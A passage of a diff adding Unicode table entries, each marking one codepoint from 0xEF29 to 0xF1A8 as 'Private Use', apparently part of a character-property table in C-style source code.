+ [0xef29, 0xef29], /* Private Use */
+ [0xef2a, 0xef2a], /* Private Use */
+ [0xef2b, 0xef2b], /* Private Use */
+ [0xef2c, 0xef2c], /* Private Use */
+ [0xef2d, 0xef2d], /* Private Use */
+ [0xef2e, 0xef2e], /* Private Use */
+ [0xef2f, 0xef2f], /* Private Use */
+ [0xef30, 0xef30], /* Private Use */
+ [0xef31, 0xef31], /* Private Use */
+ [0xef32, 0xef32], /* Private Use */
+ [0xef33, 0xef33], /* Private Use */
+ [0xef34, 0xef34], /* Private Use */
+ [0xef35, 0xef35], /* Private Use */
+ [0xef36, 0xef36], /* Private Use */
+ [0xef37, 0xef37], /* Private Use */
+ [0xef38, 0xef38], /* Private Use */
+ [0xef39, 0xef39], /* Private Use */
+ [0xef3a, 0xef3a], /* Private Use */
+ [0xef3b, 0xef3b], /* Private Use */
+ [0xef3c, 0xef3c], /* Private Use */
+ [0xef3d, 0xef3d], /* Private Use */
+ [0xef3e, 0xef3e], /* Private Use */
+ [0xef3f, 0xef3f], /* Private Use */
+ [0xef40, 0xef40], /* Private Use */
+ [0xef41, 0xef41], /* Private Use */
+ [0xef42, 0xef42], /* Private Use */
+ [0xef43, 0xef43], /* Private Use */
+ [0xef44, 0xef44], /* Private Use */
+ [0xef45, 0xef45], /* Private Use */
+ [0xef46, 0xef46], /* Private Use */
+ [0xef47, 0xef47], /* Private Use */
+ [0xef48, 0xef48], /* Private Use */
+ [0xef49, 0xef49], /* Private Use */
+ [0xef4a, 0xef4a], /* Private Use */
+ [0xef4b, 0xef4b], /* Private Use */
+ [0xef4c, 0xef4c], /* Private Use */
+ [0xef4d, 0xef4d], /* Private Use */
+ [0xef4e, 0xef4e], /* Private Use */
+ [0xef4f, 0xef4f], /* Private Use */
+ [0xef50, 0xef50], /* Private Use */
+ [0xef51, 0xef51], /* Private Use */
+ [0xef52, 0xef52], /* Private Use */
+ [0xef53, 0xef53], /* Private Use */
+ [0xef54, 0xef54], /* Private Use */
+ [0xef55, 0xef55], /* Private Use */
+ [0xef56, 0xef56], /* Private Use */
+ [0xef57, 0xef57], /* Private Use */
+ [0xef58, 0xef58], /* Private Use */
+ [0xef59, 0xef59], /* Private Use */
+ [0xef5a, 0xef5a], /* Private Use */
+ [0xef5b, 0xef5b], /* Private Use */
+ [0xef5c, 0xef5c], /* Private Use */
+ [0xef5d, 0xef5d], /* Private Use */
+ [0xef5e, 0xef5e], /* Private Use */
+ [0xef5f, 0xef5f], /* Private Use */
+ [0xef60, 0xef60], /* Private Use */
+ [0xef61, 0xef61], /* Private Use */
+ [0xef62, 0xef62], /* Private Use */
+ [0xef63, 0xef63], /* Private Use */
+ [0xef64, 0xef64], /* Private Use */
+ [0xef65, 0xef65], /* Private Use */
+ [0xef66, 0xef66], /* Private Use */
+ [0xef67, 0xef67], /* Private Use */
+ [0xef68, 0xef68], /* Private Use */
+ [0xef69, 0xef69], /* Private Use */
+ [0xef6a, 0xef6a], /* Private Use */
+ [0xef6b, 0xef6b], /* Private Use */
+ [0xef6c, 0xef6c], /* Private Use */
+ [0xef6d, 0xef6d], /* Private Use */
+ [0xef6e, 0xef6e], /* Private Use */
+ [0xef6f, 0xef6f], /* Private Use */
+ [0xef70, 0xef70], /* Private Use */
+ [0xef71, 0xef71], /* Private Use */
+ [0xef72, 0xef72], /* Private Use */
+ [0xef73, 0xef73], /* Private Use */
+ [0xef74, 0xef74], /* Private Use */
+ [0xef75, 0xef75], /* Private Use */
+ [0xef76, 0xef76], /* Private Use */
+ [0xef77, 0xef77], /* Private Use */
+ [0xef78, 0xef78], /* Private Use */
+ [0xef79, 0xef79], /* Private Use */
+ [0xef7a, 0xef7a], /* Private Use */
+ [0xef7b, 0xef7b], /* Private Use */
+ [0xef7c, 0xef7c], /* Private Use */
+ [0xef7d, 0xef7d], /* Private Use */
+ [0xef7e, 0xef7e], /* Private Use */
+ [0xef7f, 0xef7f], /* Private Use */
+ [0xef80, 0xef80], /* Private Use */
+ [0xef81, 0xef81], /* Private Use */
+ [0xef82, 0xef82], /* Private Use */
+ [0xef83, 0xef83], /* Private Use */
+ [0xef84, 0xef84], /* Private Use */
+ [0xef85, 0xef85], /* Private Use */
+ [0xef86, 0xef86], /* Private Use */
+ [0xef87, 0xef87], /* Private Use */
+ [0xef88, 0xef88], /* Private Use */
+ [0xef89, 0xef89], /* Private Use */
+ [0xef8a, 0xef8a], /* Private Use */
+ [0xef8b, 0xef8b], /* Private Use */
+ [0xef8c, 0xef8c], /* Private Use */
+ [0xef8d, 0xef8d], /* Private Use */
+ [0xef8e, 0xef8e], /* Private Use */
+ [0xef8f, 0xef8f], /* Private Use */
+ [0xef90, 0xef90], /* Private Use */
+ [0xef91, 0xef91], /* Private Use */
+ [0xef92, 0xef92], /* Private Use */
+ [0xef93, 0xef93], /* Private Use */
+ [0xef94, 0xef94], /* Private Use */
+ [0xef95, 0xef95], /* Private Use */
+ [0xef96, 0xef96], /* Private Use */
+ [0xef97, 0xef97], /* Private Use */
+ [0xef98, 0xef98], /* Private Use */
+ [0xef99, 0xef99], /* Private Use */
+ [0xef9a, 0xef9a], /* Private Use */
+ [0xef9b, 0xef9b], /* Private Use */
+ [0xef9c, 0xef9c], /* Private Use */
+ [0xef9d, 0xef9d], /* Private Use */
+ [0xef9e, 0xef9e], /* Private Use */
+ [0xef9f, 0xef9f], /* Private Use */
+ [0xefa0, 0xefa0], /* Private Use */
+ [0xefa1, 0xefa1], /* Private Use */
+ [0xefa2, 0xefa2], /* Private Use */
+ [0xefa3, 0xefa3], /* Private Use */
+ [0xefa4, 0xefa4], /* Private Use */
+ [0xefa5, 0xefa5], /* Private Use */
+ [0xefa6, 0xefa6], /* Private Use */
+ [0xefa7, 0xefa7], /* Private Use */
+ [0xefa8, 0xefa8], /* Private Use */
+ [0xefa9, 0xefa9], /* Private Use */
+ [0xefaa, 0xefaa], /* Private Use */
+ [0xefab, 0xefab], /* Private Use */
+ [0xefac, 0xefac], /* Private Use */
+ [0xefad, 0xefad], /* Private Use */
+ [0xefae, 0xefae], /* Private Use */
+ [0xefaf, 0xefaf], /* Private Use */
+ [0xefb0, 0xefb0], /* Private Use */
+ [0xefb1, 0xefb1], /* Private Use */
+ [0xefb2, 0xefb2], /* Private Use */
+ [0xefb3, 0xefb3], /* Private Use */
+ [0xefb4, 0xefb4], /* Private Use */
+ [0xefb5, 0xefb5], /* Private Use */
+ [0xefb6, 0xefb6], /* Private Use */
+ [0xefb7, 0xefb7], /* Private Use */
+ [0xefb8, 0xefb8], /* Private Use */
+ [0xefb9, 0xefb9], /* Private Use */
+ [0xefba, 0xefba], /* Private Use */
+ [0xefbb, 0xefbb], /* Private Use */
+ [0xefbc, 0xefbc], /* Private Use */
+ [0xefbd, 0xefbd], /* Private Use */
+ [0xefbe, 0xefbe], /* Private Use */
+ [0xefbf, 0xefbf], /* Private Use */
+ [0xefc0, 0xefc0], /* Private Use */
+ [0xefc1, 0xefc1], /* Private Use */
+ [0xefc2, 0xefc2], /* Private Use */
+ [0xefc3, 0xefc3], /* Private Use */
+ [0xefc4, 0xefc4], /* Private Use */
+ [0xefc5, 0xefc5], /* Private Use */
+ [0xefc6, 0xefc6], /* Private Use */
+ [0xefc7, 0xefc7], /* Private Use */
+ [0xefc8, 0xefc8], /* Private Use */
+ [0xefc9, 0xefc9], /* Private Use */
+ [0xefca, 0xefca], /* Private Use */
+ [0xefcb, 0xefcb], /* Private Use */
+ [0xefcc, 0xefcc], /* Private Use */
+ [0xefcd, 0xefcd], /* Private Use */
+ [0xefce, 0xefce], /* Private Use */
+ [0xefcf, 0xefcf], /* Private Use */
+ [0xefd0, 0xefd0], /* Private Use */
+ [0xefd1, 0xefd1], /* Private Use */
+ [0xefd2, 0xefd2], /* Private Use */
+ [0xefd3, 0xefd3], /* Private Use */
+ [0xefd4, 0xefd4], /* Private Use */
+ [0xefd5, 0xefd5], /* Private Use */
+ [0xefd6, 0xefd6], /* Private Use */
+ [0xefd7, 0xefd7], /* Private Use */
+ [0xefd8, 0xefd8], /* Private Use */
+ [0xefd9, 0xefd9], /* Private Use */
+ [0xefda, 0xefda], /* Private Use */
+ [0xefdb, 0xefdb], /* Private Use */
+ [0xefdc, 0xefdc], /* Private Use */
+ [0xefdd, 0xefdd], /* Private Use */
+ [0xefde, 0xefde], /* Private Use */
+ [0xefdf, 0xefdf], /* Private Use */
+ [0xefe0, 0xefe0], /* Private Use */
+ [0xefe1, 0xefe1], /* Private Use */
+ [0xefe2, 0xefe2], /* Private Use */
+ [0xefe3, 0xefe3], /* Private Use */
+ [0xefe4, 0xefe4], /* Private Use */
+ [0xefe5, 0xefe5], /* Private Use */
+ [0xefe6, 0xefe6], /* Private Use */
+ [0xefe7, 0xefe7], /* Private Use */
+ [0xefe8, 0xefe8], /* Private Use */
+ [0xefe9, 0xefe9], /* Private Use */
+ [0xefea, 0xefea], /* Private Use */
+ [0xefeb, 0xefeb], /* Private Use */
+ [0xefec, 0xefec], /* Private Use */
+ [0xefed, 0xefed], /* Private Use */
+ [0xefee, 0xefee], /* Private Use */
+ [0xefef, 0xefef], /* Private Use */
+ [0xeff0, 0xeff0], /* Private Use */
+ [0xeff1, 0xeff1], /* Private Use */
+ [0xeff2, 0xeff2], /* Private Use */
+ [0xeff3, 0xeff3], /* Private Use */
+ [0xeff4, 0xeff4], /* Private Use */
+ [0xeff5, 0xeff5], /* Private Use */
+ [0xeff6, 0xeff6], /* Private Use */
+ [0xeff7, 0xeff7], /* Private Use */
+ [0xeff8, 0xeff8], /* Private Use */
+ [0xeff9, 0xeff9], /* Private Use */
+ [0xeffa, 0xeffa], /* Private Use */
+ [0xeffb, 0xeffb], /* Private Use */
+ [0xeffc, 0xeffc], /* Private Use */
+ [0xeffd, 0xeffd], /* Private Use */
+ [0xeffe, 0xeffe], /* Private Use */
+ [0xefff, 0xefff], /* Private Use */
+ [0xf000, 0xf000], /* Private Use */
+ [0xf001, 0xf001], /* Private Use */
+ [0xf002, 0xf002], /* Private Use */
+ [0xf003, 0xf003], /* Private Use */
+ [0xf004, 0xf004], /* Private Use */
+ [0xf005, 0xf005], /* Private Use */
+ [0xf006, 0xf006], /* Private Use */
+ [0xf007, 0xf007], /* Private Use */
+ [0xf008, 0xf008], /* Private Use */
+ [0xf009, 0xf009], /* Private Use */
+ [0xf00a, 0xf00a], /* Private Use */
+ [0xf00b, 0xf00b], /* Private Use */
+ [0xf00c, 0xf00c], /* Private Use */
+ [0xf00d, 0xf00d], /* Private Use */
+ [0xf00e, 0xf00e], /* Private Use */
+ [0xf00f, 0xf00f], /* Private Use */
+ [0xf010, 0xf010], /* Private Use */
+ [0xf011, 0xf011], /* Private Use */
+ [0xf012, 0xf012], /* Private Use */
+ [0xf013, 0xf013], /* Private Use */
+ [0xf014, 0xf014], /* Private Use */
+ [0xf015, 0xf015], /* Private Use */
+ [0xf016, 0xf016], /* Private Use */
+ [0xf017, 0xf017], /* Private Use */
+ [0xf018, 0xf018], /* Private Use */
+ [0xf019, 0xf019], /* Private Use */
+ [0xf01a, 0xf01a], /* Private Use */
+ [0xf01b, 0xf01b], /* Private Use */
+ [0xf01c, 0xf01c], /* Private Use */
+ [0xf01d, 0xf01d], /* Private Use */
+ [0xf01e, 0xf01e], /* Private Use */
+ [0xf01f, 0xf01f], /* Private Use */
+ [0xf020, 0xf020], /* Private Use */
+ [0xf021, 0xf021], /* Private Use */
+ [0xf022, 0xf022], /* Private Use */
+ [0xf023, 0xf023], /* Private Use */
+ [0xf024, 0xf024], /* Private Use */
+ [0xf025, 0xf025], /* Private Use */
+ [0xf026, 0xf026], /* Private Use */
+ [0xf027, 0xf027], /* Private Use */
+ [0xf028, 0xf028], /* Private Use */
+ [0xf029, 0xf029], /* Private Use */
+ [0xf02a, 0xf02a], /* Private Use */
+ [0xf02b, 0xf02b], /* Private Use */
+ [0xf02c, 0xf02c], /* Private Use */
+ [0xf02d, 0xf02d], /* Private Use */
+ [0xf02e, 0xf02e], /* Private Use */
+ [0xf02f, 0xf02f], /* Private Use */
+ [0xf030, 0xf030], /* Private Use */
+ [0xf031, 0xf031], /* Private Use */
+ [0xf032, 0xf032], /* Private Use */
+ [0xf033, 0xf033], /* Private Use */
+ [0xf034, 0xf034], /* Private Use */
+ [0xf035, 0xf035], /* Private Use */
+ [0xf036, 0xf036], /* Private Use */
+ [0xf037, 0xf037], /* Private Use */
+ [0xf038, 0xf038], /* Private Use */
+ [0xf039, 0xf039], /* Private Use */
+ [0xf03a, 0xf03a], /* Private Use */
+ [0xf03b, 0xf03b], /* Private Use */
+ [0xf03c, 0xf03c], /* Private Use */
+ [0xf03d, 0xf03d], /* Private Use */
+ [0xf03e, 0xf03e], /* Private Use */
+ [0xf03f, 0xf03f], /* Private Use */
+ [0xf040, 0xf040], /* Private Use */
+ [0xf041, 0xf041], /* Private Use */
+ [0xf042, 0xf042], /* Private Use */
+ [0xf043, 0xf043], /* Private Use */
+ [0xf044, 0xf044], /* Private Use */
+ [0xf045, 0xf045], /* Private Use */
+ [0xf046, 0xf046], /* Private Use */
+ [0xf047, 0xf047], /* Private Use */
+ [0xf048, 0xf048], /* Private Use */
+ [0xf049, 0xf049], /* Private Use */
+ [0xf04a, 0xf04a], /* Private Use */
+ [0xf04b, 0xf04b], /* Private Use */
+ [0xf04c, 0xf04c], /* Private Use */
+ [0xf04d, 0xf04d], /* Private Use */
+ [0xf04e, 0xf04e], /* Private Use */
+ [0xf04f, 0xf04f], /* Private Use */
+ [0xf050, 0xf050], /* Private Use */
+ [0xf051, 0xf051], /* Private Use */
+ [0xf052, 0xf052], /* Private Use */
+ [0xf053, 0xf053], /* Private Use */
+ [0xf054, 0xf054], /* Private Use */
+ [0xf055, 0xf055], /* Private Use */
+ [0xf056, 0xf056], /* Private Use */
+ [0xf057, 0xf057], /* Private Use */
+ [0xf058, 0xf058], /* Private Use */
+ [0xf059, 0xf059], /* Private Use */
+ [0xf05a, 0xf05a], /* Private Use */
+ [0xf05b, 0xf05b], /* Private Use */
+ [0xf05c, 0xf05c], /* Private Use */
+ [0xf05d, 0xf05d], /* Private Use */
+ [0xf05e, 0xf05e], /* Private Use */
+ [0xf05f, 0xf05f], /* Private Use */
+ [0xf060, 0xf060], /* Private Use */
+ [0xf061, 0xf061], /* Private Use */
+ [0xf062, 0xf062], /* Private Use */
+ [0xf063, 0xf063], /* Private Use */
+ [0xf064, 0xf064], /* Private Use */
+ [0xf065, 0xf065], /* Private Use */
+ [0xf066, 0xf066], /* Private Use */
+ [0xf067, 0xf067], /* Private Use */
+ [0xf068, 0xf068], /* Private Use */
+ [0xf069, 0xf069], /* Private Use */
+ [0xf06a, 0xf06a], /* Private Use */
+ [0xf06b, 0xf06b], /* Private Use */
+ [0xf06c, 0xf06c], /* Private Use */
+ [0xf06d, 0xf06d], /* Private Use */
+ [0xf06e, 0xf06e], /* Private Use */
+ [0xf06f, 0xf06f], /* Private Use */
+ [0xf070, 0xf070], /* Private Use */
+ [0xf071, 0xf071], /* Private Use */
+ [0xf072, 0xf072], /* Private Use */
+ [0xf073, 0xf073], /* Private Use */
+ [0xf074, 0xf074], /* Private Use */
+ [0xf075, 0xf075], /* Private Use */
+ [0xf076, 0xf076], /* Private Use */
+ [0xf077, 0xf077], /* Private Use */
+ [0xf078, 0xf078], /* Private Use */
+ [0xf079, 0xf079], /* Private Use */
+ [0xf07a, 0xf07a], /* Private Use */
+ [0xf07b, 0xf07b], /* Private Use */
+ [0xf07c, 0xf07c], /* Private Use */
+ [0xf07d, 0xf07d], /* Private Use */
+ [0xf07e, 0xf07e], /* Private Use */
+ [0xf07f, 0xf07f], /* Private Use */
+ [0xf080, 0xf080], /* Private Use */
+ [0xf081, 0xf081], /* Private Use */
+ [0xf082, 0xf082], /* Private Use */
+ [0xf083, 0xf083], /* Private Use */
+ [0xf084, 0xf084], /* Private Use */
+ [0xf085, 0xf085], /* Private Use */
+ [0xf086, 0xf086], /* Private Use */
+ [0xf087, 0xf087], /* Private Use */
+ [0xf088, 0xf088], /* Private Use */
+ [0xf089, 0xf089], /* Private Use */
+ [0xf08a, 0xf08a], /* Private Use */
+ [0xf08b, 0xf08b], /* Private Use */
+ [0xf08c, 0xf08c], /* Private Use */
+ [0xf08d, 0xf08d], /* Private Use */
+ [0xf08e, 0xf08e], /* Private Use */
+ [0xf08f, 0xf08f], /* Private Use */
+ [0xf090, 0xf090], /* Private Use */
+ [0xf091, 0xf091], /* Private Use */
+ [0xf092, 0xf092], /* Private Use */
+ [0xf093, 0xf093], /* Private Use */
+ [0xf094, 0xf094], /* Private Use */
+ [0xf095, 0xf095], /* Private Use */
+ [0xf096, 0xf096], /* Private Use */
+ [0xf097, 0xf097], /* Private Use */
+ [0xf098, 0xf098], /* Private Use */
+ [0xf099, 0xf099], /* Private Use */
+ [0xf09a, 0xf09a], /* Private Use */
+ [0xf09b, 0xf09b], /* Private Use */
+ [0xf09c, 0xf09c], /* Private Use */
+ [0xf09d, 0xf09d], /* Private Use */
+ [0xf09e, 0xf09e], /* Private Use */
+ [0xf09f, 0xf09f], /* Private Use */
+ [0xf0a0, 0xf0a0], /* Private Use */
+ [0xf0a1, 0xf0a1], /* Private Use */
+ [0xf0a2, 0xf0a2], /* Private Use */
+ [0xf0a3, 0xf0a3], /* Private Use */
+ [0xf0a4, 0xf0a4], /* Private Use */
+ [0xf0a5, 0xf0a5], /* Private Use */
+ [0xf0a6, 0xf0a6], /* Private Use */
+ [0xf0a7, 0xf0a7], /* Private Use */
+ [0xf0a8, 0xf0a8], /* Private Use */
+ [0xf0a9, 0xf0a9], /* Private Use */
+ [0xf0aa, 0xf0aa], /* Private Use */
+ [0xf0ab, 0xf0ab], /* Private Use */
+ [0xf0ac, 0xf0ac], /* Private Use */
+ [0xf0ad, 0xf0ad], /* Private Use */
+ [0xf0ae, 0xf0ae], /* Private Use */
+ [0xf0af, 0xf0af], /* Private Use */
+ [0xf0b0, 0xf0b0], /* Private Use */
+ [0xf0b1, 0xf0b1], /* Private Use */
+ [0xf0b2, 0xf0b2], /* Private Use */
+ [0xf0b3, 0xf0b3], /* Private Use */
+ [0xf0b4, 0xf0b4], /* Private Use */
+ [0xf0b5, 0xf0b5], /* Private Use */
+ [0xf0b6, 0xf0b6], /* Private Use */
+ [0xf0b7, 0xf0b7], /* Private Use */
+ [0xf0b8, 0xf0b8], /* Private Use */
+ [0xf0b9, 0xf0b9], /* Private Use */
+ [0xf0ba, 0xf0ba], /* Private Use */
+ [0xf0bb, 0xf0bb], /* Private Use */
+ [0xf0bc, 0xf0bc], /* Private Use */
+ [0xf0bd, 0xf0bd], /* Private Use */
+ [0xf0be, 0xf0be], /* Private Use */
+ [0xf0bf, 0xf0bf], /* Private Use */
+ [0xf0c0, 0xf0c0], /* Private Use */
+ [0xf0c1, 0xf0c1], /* Private Use */
+ [0xf0c2, 0xf0c2], /* Private Use */
+ [0xf0c3, 0xf0c3], /* Private Use */
+ [0xf0c4, 0xf0c4], /* Private Use */
+ [0xf0c5, 0xf0c5], /* Private Use */
+ [0xf0c6, 0xf0c6], /* Private Use */
+ [0xf0c7, 0xf0c7], /* Private Use */
+ [0xf0c8, 0xf0c8], /* Private Use */
+ [0xf0c9, 0xf0c9], /* Private Use */
+ [0xf0ca, 0xf0ca], /* Private Use */
+ [0xf0cb, 0xf0cb], /* Private Use */
+ [0xf0cc, 0xf0cc], /* Private Use */
+ [0xf0cd, 0xf0cd], /* Private Use */
+ [0xf0ce, 0xf0ce], /* Private Use */
+ [0xf0cf, 0xf0cf], /* Private Use */
+ [0xf0d0, 0xf0d0], /* Private Use */
+ [0xf0d1, 0xf0d1], /* Private Use */
+ [0xf0d2, 0xf0d2], /* Private Use */
+ [0xf0d3, 0xf0d3], /* Private Use */
+ [0xf0d4, 0xf0d4], /* Private Use */
+ [0xf0d5, 0xf0d5], /* Private Use */
+ [0xf0d6, 0xf0d6], /* Private Use */
+ [0xf0d7, 0xf0d7], /* Private Use */
+ [0xf0d8, 0xf0d8], /* Private Use */
+ [0xf0d9, 0xf0d9], /* Private Use */
+ [0xf0da, 0xf0da], /* Private Use */
+ [0xf0db, 0xf0db], /* Private Use */
+ [0xf0dc, 0xf0dc], /* Private Use */
+ [0xf0dd, 0xf0dd], /* Private Use */
+ [0xf0de, 0xf0de], /* Private Use */
+ [0xf0df, 0xf0df], /* Private Use */
+ [0xf0e0, 0xf0e0], /* Private Use */
+ [0xf0e1, 0xf0e1], /* Private Use */
+ [0xf0e2, 0xf0e2], /* Private Use */
+ [0xf0e3, 0xf0e3], /* Private Use */
+ [0xf0e4, 0xf0e4], /* Private Use */
+ [0xf0e5, 0xf0e5], /* Private Use */
+ [0xf0e6, 0xf0e6], /* Private Use */
+ [0xf0e7, 0xf0e7], /* Private Use */
+ [0xf0e8, 0xf0e8], /* Private Use */
+ [0xf0e9, 0xf0e9], /* Private Use */
+ [0xf0ea, 0xf0ea], /* Private Use */
+ [0xf0eb, 0xf0eb], /* Private Use */
+ [0xf0ec, 0xf0ec], /* Private Use */
+ [0xf0ed, 0xf0ed], /* Private Use */
+ [0xf0ee, 0xf0ee], /* Private Use */
+ [0xf0ef, 0xf0ef], /* Private Use */
+ [0xf0f0, 0xf0f0], /* Private Use */
+ [0xf0f1, 0xf0f1], /* Private Use */
+ [0xf0f2, 0xf0f2], /* Private Use */
+ [0xf0f3, 0xf0f3], /* Private Use */
+ [0xf0f4, 0xf0f4], /* Private Use */
+ [0xf0f5, 0xf0f5], /* Private Use */
+ [0xf0f6, 0xf0f6], /* Private Use */
+ [0xf0f7, 0xf0f7], /* Private Use */
+ [0xf0f8, 0xf0f8], /* Private Use */
+ [0xf0f9, 0xf0f9], /* Private Use */
+ [0xf0fa, 0xf0fa], /* Private Use */
+ [0xf0fb, 0xf0fb], /* Private Use */
+ [0xf0fc, 0xf0fc], /* Private Use */
+ [0xf0fd, 0xf0fd], /* Private Use */
+ [0xf0fe, 0xf0fe], /* Private Use */
+ [0xf0ff, 0xf0ff], /* Private Use */
+ [0xf100, 0xf100], /* Private Use */
+ [0xf101, 0xf101], /* Private Use */
+ [0xf102, 0xf102], /* Private Use */
+ [0xf103, 0xf103], /* Private Use */
+ [0xf104, 0xf104], /* Private Use */
+ [0xf105, 0xf105], /* Private Use */
+ [0xf106, 0xf106], /* Private Use */
+ [0xf107, 0xf107], /* Private Use */
+ [0xf108, 0xf108], /* Private Use */
+ [0xf109, 0xf109], /* Private Use */
+ [0xf10a, 0xf10a], /* Private Use */
+ [0xf10b, 0xf10b], /* Private Use */
+ [0xf10c, 0xf10c], /* Private Use */
+ [0xf10d, 0xf10d], /* Private Use */
+ [0xf10e, 0xf10e], /* Private Use */
+ [0xf10f, 0xf10f], /* Private Use */
+ [0xf110, 0xf110], /* Private Use */
+ [0xf111, 0xf111], /* Private Use */
+ [0xf112, 0xf112], /* Private Use */
+ [0xf113, 0xf113], /* Private Use */
+ [0xf114, 0xf114], /* Private Use */
+ [0xf115, 0xf115], /* Private Use */
+ [0xf116, 0xf116], /* Private Use */
+ [0xf117, 0xf117], /* Private Use */
+ [0xf118, 0xf118], /* Private Use */
+ [0xf119, 0xf119], /* Private Use */
+ [0xf11a, 0xf11a], /* Private Use */
+ [0xf11b, 0xf11b], /* Private Use */
+ [0xf11c, 0xf11c], /* Private Use */
+ [0xf11d, 0xf11d], /* Private Use */
+ [0xf11e, 0xf11e], /* Private Use */
+ [0xf11f, 0xf11f], /* Private Use */
+ [0xf120, 0xf120], /* Private Use */
+ [0xf121, 0xf121], /* Private Use */
+ [0xf122, 0xf122], /* Private Use */
+ [0xf123, 0xf123], /* Private Use */
+ [0xf124, 0xf124], /* Private Use */
+ [0xf125, 0xf125], /* Private Use */
+ [0xf126, 0xf126], /* Private Use */
+ [0xf127, 0xf127], /* Private Use */
+ [0xf128, 0xf128], /* Private Use */
+ [0xf129, 0xf129], /* Private Use */
+ [0xf12a, 0xf12a], /* Private Use */
+ [0xf12b, 0xf12b], /* Private Use */
+ [0xf12c, 0xf12c], /* Private Use */
+ [0xf12d, 0xf12d], /* Private Use */
+ [0xf12e, 0xf12e], /* Private Use */
+ [0xf12f, 0xf12f], /* Private Use */
+ [0xf130, 0xf130], /* Private Use */
+ [0xf131, 0xf131], /* Private Use */
+ [0xf132, 0xf132], /* Private Use */
+ [0xf133, 0xf133], /* Private Use */
+ [0xf134, 0xf134], /* Private Use */
+ [0xf135, 0xf135], /* Private Use */
+ [0xf136, 0xf136], /* Private Use */
+ [0xf137, 0xf137], /* Private Use */
+ [0xf138, 0xf138], /* Private Use */
+ [0xf139, 0xf139], /* Private Use */
+ [0xf13a, 0xf13a], /* Private Use */
+ [0xf13b, 0xf13b], /* Private Use */
+ [0xf13c, 0xf13c], /* Private Use */
+ [0xf13d, 0xf13d], /* Private Use */
+ [0xf13e, 0xf13e], /* Private Use */
+ [0xf13f, 0xf13f], /* Private Use */
+ [0xf140, 0xf140], /* Private Use */
+ [0xf141, 0xf141], /* Private Use */
+ [0xf142, 0xf142], /* Private Use */
+ [0xf143, 0xf143], /* Private Use */
+ [0xf144, 0xf144], /* Private Use */
+ [0xf145, 0xf145], /* Private Use */
+ [0xf146, 0xf146], /* Private Use */
+ [0xf147, 0xf147], /* Private Use */
+ [0xf148, 0xf148], /* Private Use */
+ [0xf149, 0xf149], /* Private Use */
+ [0xf14a, 0xf14a], /* Private Use */
+ [0xf14b, 0xf14b], /* Private Use */
+ [0xf14c, 0xf14c], /* Private Use */
+ [0xf14d, 0xf14d], /* Private Use */
+ [0xf14e, 0xf14e], /* Private Use */
+ [0xf14f, 0xf14f], /* Private Use */
+ [0xf150, 0xf150], /* Private Use */
+ [0xf151, 0xf151], /* Private Use */
+ [0xf152, 0xf152], /* Private Use */
+ [0xf153, 0xf153], /* Private Use */
+ [0xf154, 0xf154], /* Private Use */
+ [0xf155, 0xf155], /* Private Use */
+ [0xf156, 0xf156], /* Private Use */
+ [0xf157, 0xf157], /* Private Use */
+ [0xf158, 0xf158], /* Private Use */
+ [0xf159, 0xf159], /* Private Use */
+ [0xf15a, 0xf15a], /* Private Use */
+ [0xf15b, 0xf15b], /* Private Use */
+ [0xf15c, 0xf15c], /* Private Use */
+ [0xf15d, 0xf15d], /* Private Use */
+ [0xf15e, 0xf15e], /* Private Use */
+ [0xf15f, 0xf15f], /* Private Use */
+ [0xf160, 0xf160], /* Private Use */
+ [0xf161, 0xf161], /* Private Use */
+ [0xf162, 0xf162], /* Private Use */
+ [0xf163, 0xf163], /* Private Use */
+ [0xf164, 0xf164], /* Private Use */
+ [0xf165, 0xf165], /* Private Use */
+ [0xf166, 0xf166], /* Private Use */
+ [0xf167, 0xf167], /* Private Use */
+ [0xf168, 0xf168], /* Private Use */
+ [0xf169, 0xf169], /* Private Use */
+ [0xf16a, 0xf16a], /* Private Use */
+ [0xf16b, 0xf16b], /* Private Use */
+ [0xf16c, 0xf16c], /* Private Use */
+ [0xf16d, 0xf16d], /* Private Use */
+ [0xf16e, 0xf16e], /* Private Use */
+ [0xf16f, 0xf16f], /* Private Use */
+ [0xf170, 0xf170], /* Private Use */
+ [0xf171, 0xf171], /* Private Use */
+ [0xf172, 0xf172], /* Private Use */
+ [0xf173, 0xf173], /* Private Use */
+ [0xf174, 0xf174], /* Private Use */
+ [0xf175, 0xf175], /* Private Use */
+ [0xf176, 0xf176], /* Private Use */
+ [0xf177, 0xf177], /* Private Use */
+ [0xf178, 0xf178], /* Private Use */
+ [0xf179, 0xf179], /* Private Use */
+ [0xf17a, 0xf17a], /* Private Use */
+ [0xf17b, 0xf17b], /* Private Use */
+ [0xf17c, 0xf17c], /* Private Use */
+ [0xf17d, 0xf17d], /* Private Use */
+ [0xf17e, 0xf17e], /* Private Use */
+ [0xf17f, 0xf17f], /* Private Use */
+ [0xf180, 0xf180], /* Private Use */
+ [0xf181, 0xf181], /* Private Use */
+ [0xf182, 0xf182], /* Private Use */
+ [0xf183, 0xf183], /* Private Use */
+ [0xf184, 0xf184], /* Private Use */
+ [0xf185, 0xf185], /* Private Use */
+ [0xf186, 0xf186], /* Private Use */
+ [0xf187, 0xf187], /* Private Use */
+ [0xf188, 0xf188], /* Private Use */
+ [0xf189, 0xf189], /* Private Use */
+ [0xf18a, 0xf18a], /* Private Use */
+ [0xf18b, 0xf18b], /* Private Use */
+ [0xf18c, 0xf18c], /* Private Use */
+ [0xf18d, 0xf18d], /* Private Use */
+ [0xf18e, 0xf18e], /* Private Use */
+ [0xf18f, 0xf18f], /* Private Use */
+ [0xf190, 0xf190], /* Private Use */
+ [0xf191, 0xf191], /* Private Use */
+ [0xf192, 0xf192], /* Private Use */
+ [0xf193, 0xf193], /* Private Use */
+ [0xf194, 0xf194], /* Private Use */
+ [0xf195, 0xf195], /* Private Use */
+ [0xf196, 0xf196], /* Private Use */
+ [0xf197, 0xf197], /* Private Use */
+ [0xf198, 0xf198], /* Private Use */
+ [0xf199, 0xf199], /* Private Use */
+ [0xf19a, 0xf19a], /* Private Use */
+ [0xf19b, 0xf19b], /* Private Use */
+ [0xf19c, 0xf19c], /* Private Use */
+ [0xf19d, 0xf19d], /* Private Use */
+ [0xf19e, 0xf19e], /* Private Use */
+ [0xf19f, 0xf19f], /* Private Use */
+ [0xf1a0, 0xf1a0], /* Private Use */
+ [0xf1a1, 0xf1a1], /* Private Use */
+ [0xf1a2, 0xf1a2], /* Private Use */
+ [0xf1a3, 0xf1a3], /* Private Use */
+ [0xf1a4, 0xf1a4], /* Private Use */
+ [0xf1a5, 0xf1a5], /* Private Use */
+ [0xf1a6, 0xf1a6], /* Private Use */
+ [0xf1a7, 0xf1a7], /* Private Use */
+ [0xf1a8, 0xf1a8], /* Private Use */
